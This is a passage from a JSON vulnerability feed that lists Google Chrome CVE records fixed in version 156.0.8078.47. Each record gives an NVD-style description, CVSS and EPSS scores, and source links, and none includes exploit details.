This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113315","cveId":"CVE-2026-113315","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.790Z","updatedAt":"2026-10-21T17:05:16.190Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113315","asOf":"2026-10-21T17:05:16.190Z"},"epss":{"probability":0.00443,"percentile":0.38252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113315","type":"primary","publishedAt":"2026-10-20T22:19:25.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113314","cveId":"CVE-2026-113314","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.680Z","updatedAt":"2026-10-21T17:05:20.327Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113314","asOf":"2026-10-21T17:05:20.327Z"},"epss":{"probability":0.00452,"percentile":0.39025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113314","type":"primary","publishedAt":"2026-10-20T22:19:25.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113313","cveId":"CVE-2026-113313","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.573Z","updatedAt":"2026-10-21T17:05:24.447Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113313","asOf":"2026-10-21T17:05:24.447Z"},"epss":{"probability":0.00452,"percentile":0.39025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113313","type":"primary","publishedAt":"2026-10-20T22:19:25.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113312","cveId":"CVE-2026-113312","aliases":[],"kind":"vulnerability","title":"Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.467Z","updatedAt":"2026-10-22T11:57:38.840Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113312","asOf":"2026-10-22T11:57:38.840Z"},"epss":{"probability":0.00443,"percentile":0.38244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113312","type":"primary","publishedAt":"2026-10-20T22:19:25.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113311","cveId":"CVE-2026-113311","aliases":[],"kind":"vulnerability","title":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.357Z","updatedAt":"2026-10-21T17:05:27.993Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113311","asOf":"2026-10-21T17:05:27.993Z"},"epss":{"probability":0.00443,"percentile":0.38244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113311","type":"primary","publishedAt":"2026-10-20T22:19:25.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113308","cveId":"CVE-2026-113308","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.033Z","updatedAt":"2026-10-21T17:05:47.940Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113308","asOf":"2026-10-21T17:05:47.940Z"},"epss":{"probability":0.00443,"percentile":0.38248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113308","type":"primary","publishedAt":"2026-10-20T22:19:25.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113307","cveId":"CVE-2026-113307","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.930Z","updatedAt":"2026-10-21T17:05:52.017Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113307","asOf":"2026-10-21T17:05:52.017Z"},"epss":{"probability":0.00443,"percentile":0.38248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113307","type":"primary","publishedAt":"2026-10-20T22:19:24.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113306","cveId":"CVE-2026-113306","aliases":[],"kind":"vulnerability","title":"Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.820Z","updatedAt":"2026-10-21T17:05:58.620Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113306","asOf":"2026-10-21T17:05:58.620Z"},"epss":{"probability":0.00452,"percentile":0.39024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113306","type":"primary","publishedAt":"2026-10-20T22:19:24.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113305","cveId":"CVE-2026-113305","aliases":[],"kind":"vulnerability","title":"Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.710Z","updatedAt":"2026-10-21T17:06:06.447Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113305","asOf":"2026-10-21T17:06:06.447Z"},"epss":{"probability":0.00443,"percentile":0.38249,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113305","type":"primary","publishedAt":"2026-10-20T22:19:24.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113303","cveId":"CVE-2026-113303","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Memory corruption in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.490Z","updatedAt":"2026-10-21T17:06:11.657Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113303","asOf":"2026-10-21T17:06:11.657Z"},"epss":{"probability":0.00601,"percentile":0.48465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113303&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113303","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113303","type":"primary","publishedAt":"2026-10-20T22:19:24.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113303&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113303, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113302","cveId":"CVE-2026-113302","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.373Z","updatedAt":"2026-10-21T17:06:16.470Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113302","asOf":"2026-10-21T17:06:16.470Z"},"epss":{"probability":0.00443,"percentile":0.38249,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113302","type":"primary","publishedAt":"2026-10-20T22:19:24.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 